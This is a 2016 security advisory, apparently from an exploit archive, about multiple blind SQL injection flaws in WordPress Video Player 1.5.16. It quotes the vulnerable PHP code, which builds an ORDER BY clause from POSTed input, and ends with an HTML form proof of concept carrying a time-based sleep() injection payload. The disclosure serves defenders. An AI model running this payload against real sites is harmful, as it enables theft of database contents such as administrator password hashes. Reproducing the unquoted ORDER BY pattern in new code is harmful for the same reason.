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WordPress Video Player 1.5.16 SQL Injection

WordPress Video Player 1.5.16 SQL Injection
Posted Jul 19, 2016
Authored by David Vaartjes, Yorick Koster, Securify B.V.

WordPress Video Player plugin version 1.5.16 suffers from multiple remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection
SHA-256 | e466846931ce435c89ed6a17e672eaf0b4818880fd543e1016bd3f3bc4de6f26
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WordPress Video Player 1.5.16 SQL Injection

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Multiple SQL injection vulnerabilities in WordPress Video Player
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David Vaartjes & Yorick Koster, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was discovered that WordPress Video Player is affected by multiple
blind SQL injection vulnerabilities. Using these issues it is possible
for a logged on Contributor (or higher) to extract arbitrary data (eg,
the Administrator's password hash) from the WordPress database.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0004

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on WordPress Video Player WordPress
plugin version 1.5.16.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in WordPress Video Player 1.5.18.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/multiple_sql_injection_vulnerabilities_in_wordpress_video_player.html

The vulnerabilities exist in the functions show_tag(), spider_video_select_playlist(), and spider_video_select_video(). The author tried to prevent SQL injection by calling the esc_sql() WordPress function. However, the user input is used in the ORDER BY clause and is consequently not quoted. Due to this it is possible to inject arbitrary SQL statements despite the use of esc_sql()

show_tag():

[...]
   
if (isset($_POST['page_number'])) {
   if ($_POST['asc_or_desc']) {
      $sort["sortid_by"] = esc_sql(esc_html(stripslashes($_POST['order_by'])));
      if ($_POST['asc_or_desc'] == 1) {
         $sort["custom_style"] = "manage-column column-title sorted asc";
         $sort["1_or_2"] = "2";
         $order = "ORDER BY " . $sort["sortid_by"] . " ASC";
      } else {
         $sort["custom_style"] = "manage-column column-title sorted desc";
         $sort["1_or_2"] = "1";
         $order = "ORDER BY " . $sort["sortid_by"] . " DESC";
      }
   }



spider_video_select_playlist():

[...]
if(isset($_POST['page_number']))
{
   if($_POST['asc_or_desc'])
   {
      $sort["sortid_by"]=esc_sql(esc_html(stripslashes($_POST['order_by'])));
      if($_POST['asc_or_desc']==1)
      {
         $sort["custom_style"]="manage-column column-title sorted asc";
         $sort["1_or_2"]="2";
         $order="ORDER BY ".$sort["sortid_by"]." ASC";
      }
      else
      {
         $sort["custom_style"]="manage-column column-title sorted desc";
         $sort["1_or_2"]="1";
         $order="ORDER BY ".$sort["sortid_by"]." DESC";
      }
   }

function spider_video_select_video():

[...]
   
if(isset($_POST['page_number']))
{
      if($_POST['asc_or_desc'])
      {
         $sort["sortid_by"]=esc_html(stripslashes($_POST['order_by']));
         if($_POST['asc_or_desc']==1)
         {
            $sort["custom_style"]="manage-column column-title sorted asc";
            $sort["1_or_2"]="2";
            $order="ORDER BY ".esc_sql($sort["sortid_by"])." ASC";
         }
         else
         {
            $sort["custom_style"]="manage-column column-title sorted desc";
            $sort["1_or_2"]="1";
            $order="ORDER BY ".esc_sql($sort["sortid_by"])." DESC";
         }
      }

Proof of concept

<html>
   <body>
      <form action="http://<target>/wp-admin/admin-ajax.php?action=spiderVeideoPlayerselectplaylist" method="POST">
         <input type="hidden" name="search_events_by_title" value="" />
         <input type="hidden" name="page_number" value="0" />
         <input type="hidden" name="serch_or_not" value="" />
         <input type="hidden" name="asc_or_desc" value="1" />
         <input type="hidden" name="order_by" value="(CASE WHEN (SELECT sleep(10)) = 1 THEN id ELSE title END) ASC #" />
         <input type="hidden" name="option" value="com_Spider_Video_Player" />
         <input type="hidden" name="task" value="select_playlist" />
         <input type="hidden" name="boxchecked" value="0" />
         <input type="hidden" name="filter_order_playlist" value="" />
         <input type="hidden" name="filter_order_Dir_playlist" value="" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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